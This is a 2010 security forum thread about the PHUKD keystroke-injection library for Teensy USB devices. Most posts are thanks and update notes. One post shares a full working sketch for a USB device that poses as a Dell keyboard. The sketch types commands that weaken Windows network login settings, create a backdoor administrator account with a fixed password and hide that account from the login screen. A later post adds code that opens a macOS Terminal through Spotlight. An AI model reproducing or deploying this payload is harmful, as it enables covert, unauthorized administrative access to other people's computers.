Dаrren Kitchen Posted June 3, 2010 Share Posted June 3, 2010 Posted it here: http://www.irongeek.com/i.php?page=securit...y_PHUKD_library I've also added some functions to make it easy to set traps with the CAPS/NUM/Scroll Lock keys. :) Quote Link to comment Share on other sites More sharing options...
HoboCop Posted June 4, 2010 Share Posted June 4, 2010 Posted it here: http://www.irongeek.com/i.php?page=securit...y_PHUKD_library I've also added some functions to make it easy to set traps with the CAPS/NUM/Scroll Lock keys. :) Pretty sweet shiznit, I.G., can't wait to play around with some of this. Thanks! Quote Link to comment Share on other sites More sharing options...
Deevd Posted June 4, 2010 Share Posted June 4, 2010 This is awesome !! thanks IronGeek !! Quote Link to comment Share on other sites More sharing options...
DJ Felix Posted June 14, 2010 Share Posted June 14, 2010 I used your library in my first ducky I dubbed the USBPwn3r: Flickr Photo Set Code: /* The following is Jon Marler's USBPwn3r proof-of-concept device for Teensy 2.0 Uses the PHUKD library from: http://www.irongeek.com/i.php?page=securit...eystroke-dongle To learn more about Teensyduino see: http://www.pjrc.com/teensy/teensyduino.html Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID Compile Notes: Make sure you set the correct board type under Tools->Board, and the correct Tools->USB type as well */ #include "phukdlib.h" // The setup() method runs once, when the sketch starts void setup() { delay(20000); CommandAtRunBarMSWIN("cmd"); delay(500); Keyboard.println("REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v forceguest /t REG_DWORD /d 00000000 /f"); Keyboard.println("cls"); Keyboard.println("NET USER IUSR_ADMIN P4ssw0rd! /ADD /active:yes /fullname:\"Built-in admin\" /expires:never /times:all"); Keyboard.println("cls"); Keyboard.println("NET LOCALGROUP Administrators IUSR_ADMIN /ADD"); Keyboard.println("cls"); Keyboard.println("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v IUSR_ADMIN /t REG_DWORD /d 00000000 /f"); Keyboard.println("exit"); } // the loop() method runs over and over again, checking for events void loop() { } The 20 second delay is to allow for windows to add the device and activate it. I also modified the teensy header files to use "Dell Keyboard" as the USB descriptor and changed the USB Vendor and Product ID's to match a Dell Keyboard. The code is simple. It adds an administrator, and enables network login over the network for tools like Cain and Abel among others. Using the PHUKD library made the code dead simple and easy to write. Thanks Irongeek! Quote Link to comment Share on other sites More sharing options...
Dаrren Kitchen Posted June 28, 2010 Author Share Posted June 28, 2010 I've updated the PHUKD Library to 0.2. The main changes are that I've added two functions for the Gnome desktop under Linux: ShrinkCurWinGnome() CommandAtRunBarGnome(char *SomeCommand) you may also see something about OS X, but it does not work. Can anyone tell me a run bar equivalent that works in OS X? I've also changed the library so that it goes in the normal libraries folder, and not the same folder as your sketch. Quote Link to comment Share on other sites More sharing options...
BITS1 Posted July 7, 2010 Share Posted July 7, 2010 I've updated the PHUKD Library to 0.2. The main changes are that I've added two functions for the Gnome desktop under Linux: ShrinkCurWinGnome() CommandAtRunBarGnome(char *SomeCommand) you may also see something about OS X, but it does not work. Can anyone tell me a run bar equivalent that works in OS X? I've also changed the library so that it goes in the normal libraries folder, and not the same folder as your sketch. Hi, Do you mean like getting the terminal to show up on the mac? The equivalent of the run command is calling the spotlight on the mac and type in any application name and press enter. It can also search and open any files as well. If I misunderstood your question, I apologize. :) Sincerely, Bits1 void cmd(){ //calls up the spotlight Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); //run the terminal or command line Keyboard.print("Terminal"); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); delay(600); } Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.